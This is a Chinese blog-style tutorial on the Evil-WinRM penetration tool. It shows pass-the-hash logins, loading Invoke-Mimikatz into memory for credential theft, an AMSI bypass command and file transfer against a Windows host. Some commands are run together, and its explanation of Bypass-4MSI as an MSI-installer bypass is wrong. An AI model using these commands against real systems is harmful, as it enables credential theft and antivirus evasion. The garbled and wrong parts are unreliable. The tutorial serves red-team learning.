Evil-WinRM工具

❝

由于传播、利用本公众号所提供的信息而造成的任何直接或间接的后果及损失，均由使用者本人负责，公众号及作者不为此承担任何责任，一旦造成后果请自行承担!如有侵权烦请告知，我们会立即删除并且致歉。谢谢!

一、介绍

Evil-WinRM 是一个开源的使用ruby 语言开发渗透测试工具，由 Hackplayers 团队开发。

如果Windows主机启用了WinRM服务，那第一个想到的工具就是Evil-WinRM，在Kali Linux系统中Evil-WinRM工具是自带的，如果想要在Windows系统中使用到Evil-WinRM工具的话就要按照github链接进行环境配置与工具下载。

Evil-WinRM下载： https: //github.com/Hackplayers/evil-winrm

我之前一篇用到的工具就是这个Evil-WinRM，利用其SSL加密登录功能远程获取Windows的powershell。

往期文章 ： 教你黑进你朋友的电脑快来试试-物理hack

二、功能

（一）多种登录方式：Evil-WinRM 支持使用纯文本密码、SSL 加密登录、NTLM 哈希登录以及密钥登录等多种方式进行远程登录。

（二）文件传输：该工具支持文件上传和下载，且显示进度条。

（三）执行 PowerShell 脚本：Evil-WinRM 允许用户在目标机器上执行 PowerShell 脚本，提供了 -s 参数来指定脚本路径。

（四）服务枚举：它可以列出目标系统中运行的服务，有助于识别可能存在安全漏洞的服务。

（五）日志存储：Evil-WinRM 提供了日志记录功能，方便用户追踪操作历史。

（六）绕过安全机制：Evil-WinRM 支持在内存中加载 PowerShell 脚本和可执行文件，有助于绕过某些反病毒软件的检测。

（七）动态 AMSI 绕过：为了避开反病毒软件的签名检测，Evil-WinRM 实现了动态 AMSI 绕过。

（八）Kerberos 认证支持：Evil-WinRM 支持 Kerberos 认证，增强了在域环境中的认证能力。

（九）SSL 和证书支持：该工具支持 SSL 加密，可以安全地与远程主机通信。

（十）命令历史和补全：Evil-WinRM 提供了命令历史和自动补全功能，提高了使用效率。

（十一）本地文件/目录补全：支持本地文件和目录的自动补全，简化了文件操作。

三、帮助

evil-winrm语法

evil-winrm -h

Usage: evil-winrm -i IP -u USER -s SCRIPTS_PATH -e EXES_PATH [-P PORT] [-p PASS] [-U URL]    -i, --ip IP                      远程主机IP或主机名（必填）    -P, --port PORT                  远程主机端口（默认为5985）    -u, --user USER                  用户名（必填）    -p, --password PASS              密码    -s, --scripts PS_SCRIPTS_PATH    Powershell脚本路径（必填）    -e, --executables EXES_PATH      C#可执行文件路径（必填）    -U, --url URL                    远程URL端点（默认为/wsman）    -V, --version                    显示版本信息    -h, --help                       显示帮助信息

四、使用

1.使用管理员身份运行PowerShell

2.开启WinRM 服务（远程控制服务）

先在WIFI属性中将公用网络配置为专用网络（否则无法开启服务）

在PowerShell中使用命令开启WinRM服务

enable-psremoting

evil-winrm -i 192.168.3.24 -u 28374 -p XXXXXXXX

 -i 参数 ：目标主机地址

-u 参数 ：目标系统用户名

-p 参数 ：目标主机明文密码

• 启用SSL

-S 参数可以启用SSL，将我们的数据通过加密的安全套接字层进行传输

evil-winrm -i 192.168.3.24 -u 28374 -p XXXXXXXX -S

evil-winrm -i 192.168.3.24 -u 28374 -H 32196B56FFE6F45E294117B91A83BF38

-H 参数 哈希密码登录

这里我们用Invoke-Mimiktz脚本到目标主机并将其加载到内存中

可以去到目标地址下载

https://github.com/clymb3r/PowerShell/blob/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1

evil-winrm -i 192.168.3.24 -u 28374 -H 32196B56FFE6F45E294117B91A83BF38 -s /home/kali/oft/powBypass-4MSIInvoke-Mimikatz.ps1Invoke-Mimikatz

-s 参数 PowerShell脚本地址

Bypass-4MSI 用于绕过应用程序安装程序（MSI）相关安全限制的技术或命令。正常情况下，系统会通过各种安全机制来确保只有经过授权的、安全的 MSI 文件才能被安装，例如检查数字签名、用户权限等。Bypass-4MSI 试图打破这些限制，这种技术如果被恶意利用，会使攻击者能够在目标系统上安装未经授权的软件，包括恶意软件。

evil-winrm -i 192.168.3.24 -u 28374 -H 32196B56FFE6F45E294117B91A83BF38 -l

-l 参数 ： 将日志保存到本地主机文件系统中

后面在连接的PowerShell中的所有输出都会存到指定日志文件中。

• 1.上传文件（向Windows上传）

upload /home/kali/oft/pow/nihao.txt

• 2.下载文件 （下载到Kali）

download nihao.txt /home/kali/oft/nihao.txt

总结

在红队渗透Windows系统过程中Evil-WinRM是极好用的工具，绕过安全策略、远程脚本执行、木马传输等等